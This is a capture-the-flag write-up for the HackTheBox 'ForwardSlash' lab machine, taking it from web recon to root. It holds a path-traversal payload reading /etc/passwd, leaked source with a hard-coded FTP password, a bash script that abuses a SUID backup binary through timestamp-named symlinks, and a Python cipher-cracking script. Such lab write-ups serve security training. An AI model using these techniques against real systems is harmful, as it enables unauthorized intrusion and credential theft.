
HackTheBox – ForwardSlash

S  ummary

• Discovery of HTTP server on port 80 that has been compromised by a hacker gang.
• Enumeration leads to discovery of the subdomain – backup.forwardslash.htb
• Enumeration of the subdomain finds the page profilepicture.php is vulnerable to LFI.
• Exploiting LFI vulnerability allows reading of source code for /dev/index.php.
• /dev/index.php contains a hard coded password for the user – Chiv.
• Authenticate as Chiv against SSH.
• Discovered SUID bit set on /usr/bin/backup.
• Exploited /usr/bin/backup to read /var/backups/config.php.bak – this file contained the 

password for the user – pain.
• Authenticated as pain via su.
• Reversed an encryption routine for the password to 

/var/backups/recovery/encrypted_backup.img
• Used pains sudo permissions to mount the encrypted backup – this contained the root 

account private SSH key.
• Authenticate against SSH as root.
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Recon

I began by adding 10.10.10.183 to /etc/hosts as forwardslash.htb.
I followed this up with a port scan only revealing a HTTP server running on port 80 and SSH 
running on port 22.

Visiting the website hosted on port 80 suggests that forwardslash is the victim of a hack attack from 
the backslash gang. It also suggests that the method used was something to do with XML and FTP.
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Running dirb reveals a file – note.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Sat May  2 14:16:25 2020
URL_BASE: http://forwardslash.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.html,.txt,.xml,.pdf) | (.php)(.html)(.txt)(.xml)(.pdf) [NUM = 5]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://forwardslash.htb/ ----
+ http://forwardslash.htb/index.php (CODE:200|SIZE:1695)
+ http://forwardslash.htb/note.txt (CODE:200|SIZE:216)

Visiting note.txt reveals several useful pieces of information, first we have 2 usernames – pain and 
chiv, it also mentions a backup site.

Using wfuzz it is possible to find the subdomain backup.forwardslash.htb. I added this subdomain 
to /etc/hosts.
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Subdomain R  econ

Visiting the backup subdomain presents us with a login page.

Running dirb against the subdomain nets a file - /dev/index.php – however this isn't accessible.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb-backup.txt
START_TIME: Thu Jul  2 16:38:25 2020
URL_BASE: http://backup.forwardslash.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://backup.forwardslash.htb/ ----
==> DIRECTORY: http://backup.forwardslash.htb/dev/                                                       
+ http://backup.forwardslash.htb/index.php (CODE:302|SIZE:1)                                             
+ http://backup.forwardslash.htb/server-status (CODE:403|SIZE:288)                                       
                                                                                                         
---- Entering directory: http://backup.forwardslash.htb/dev/ ----
+ http://backup.forwardslash.htb/dev/index.php (CODE:403|SIZE:65)  
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I created an account and logged into the website.

Visiting the page to change profile pictures has a form that users can supply a URL to – presumably 
to provide a URL to a new profile picture, the form is disabled however.

This is easily bypassed by using inspect element and removing the “disabled” tags.
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Illustration 2: Without "disabled" tags



This form is vulnerable to LFI, this is confirmed by submitting ../../../../../../../../etc/passwd and 
receiving the contents of the file. This also confirms the users discovered earlier do exist on the 
machine.
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FootHold

It is possible to read the contents of /dev/index.php using LFI, to prevent the php from executing I 
used curl and encoded the output to base64.

Decoding this base64 presents the following source code, in there is a hard coded password for the 
user – Chiv. The line containing the password is:

 if   (  @  ftp_login  (  $conn_id  ,   "chiv"  ,   'N0bodyL1kesBack/'  )) {
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<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") 
&& $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
    exit;
}
?>
<html>
        <h1>XML Api Test</h1>
        <h3>This is our api test for when our new website gets refurbished</h3>
        <form action="/dev/index.php" method="get" id="xmltest">
                <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
    <request>test</request>
</api>
</textarea>
                <input type="submit">
        </form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

        $reg = '/ftp:\/\/[\s\S]*\/\"/';
        //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

        if (preg_match($reg, $_GET['xml'], $match)) {
                $ip = explode('/', $match[0])[2];
                echo $ip;
                error_log("Connecting");

                $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

                error_log("Logging in");

                if   (  @  ftp_login  (  $conn_id  ,   "chiv"  ,   'N0bodyL1kesBack/'  )) {

                        error_log("Getting file");
                        echo ftp_get_string($conn_id, "debug.txt");
                }

                exit;
        }

        libxml_disable_entity_loader (false);
        $xmlfile = $_GET["xml"];
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        $api = simplexml_import_dom($dom);
        $req = $api->request;
        echo "-----output-----<br>\r\n";
        echo "$req";
}

function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        rewind($temp);
        return stream_get_contents($temp);
    }
    else {
        return fabase64: invalid input
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It is possible to authenticate against SSH by using these credentials.

Privilege Escalation – User: Pain

Navigating to the home directory reveals the user – pain, searching for readable files owned by pain
uncovers /usr/bin/backup.
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Checking the permissions on /usr/bin/backup we can see that it has the SUID bit set for pain, the 
file is also a ELF 64bit executable. Running the program suggests that it is used for viewing 
backups, however it appears to be time sensitive as the backup has to be taken in the same second as
the program running.

I tested this using a bash script that printed an md5 hashed timestamp to compare to the md5 hash 
that the program outputs.

#!/bin/bash

timestamp=$(echo -n `date +%T`| md5sum | sed "s/ -//g")
echo $timestamp
/usr/bin/backup

Running the script provided a match.
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I expanded my search for all files owned by pain, revealing one new file - 
/var/www/backups.php.bak

It is possible to read this file using backup by creating a symbolic link to it using the MD5 hash that
backup outputs. I edited the previous bash script to achieve this.

#!/bin/bash

timestamp=$(echo -n `date +%T`| md5sum | sed "s/ -//g")
ln -s /var/backups/config.php.bak /home/chiv/$timestamp
/usr/bin/backup
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Running the script was successful and displayed credentials for an SQL database.

Using su to login as pain with this password was successful.
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Privilege Escalation - Root

Running sudo -l as pain reveals the user can mount a backup directory.

Searching for files containing the word backup provides a few hits.

Attempting to open /var/backups/recovery/encrypted_backup.img was unsuccessful as a passphrase 
is required.
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I remembered the contents of note.txt from earlier, mentioning some “crypto magic”. In pains home
directory there is a subdirectory – encryptorinator.

In this directory we have access to the encryption routine mentioned earlier and some ciphertext.
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It is possible to bruteforce the key and message in this ecnryption/decrpytion routine by taking the 
decrypt function and adding a few lines of python to bruteforce the ciphertext against it. When the 
script finds a common word in the message, in this case 'the' or 'and' it will output the results. 

I copied both files to my local machine and managed to successfully crack both the message and the
key with the following script.

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165):  
  for j in range(33, 127):
   key = chr(j) * i  
   msg = decrypt(key, ciphertext)
   if 'the ' in msg or 'and ' in msg:
     print("Key: " + key)
     print("Message: \n" + msg)
     exit()

This revealed the passphrase for the backups as cB!6%sdH8Lj^@Y*$C2cf 
Using this I successfully attempted to unlock the backups.
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With the backup now available in /dev/mapper it is possible to use pains other sudo commands to 
mount the backup in /mnt. Doing this reveals an SSH key which can be used against the root 
account.

I copied the private key across to my local machine and sucessfully authenticated as the root 
account.
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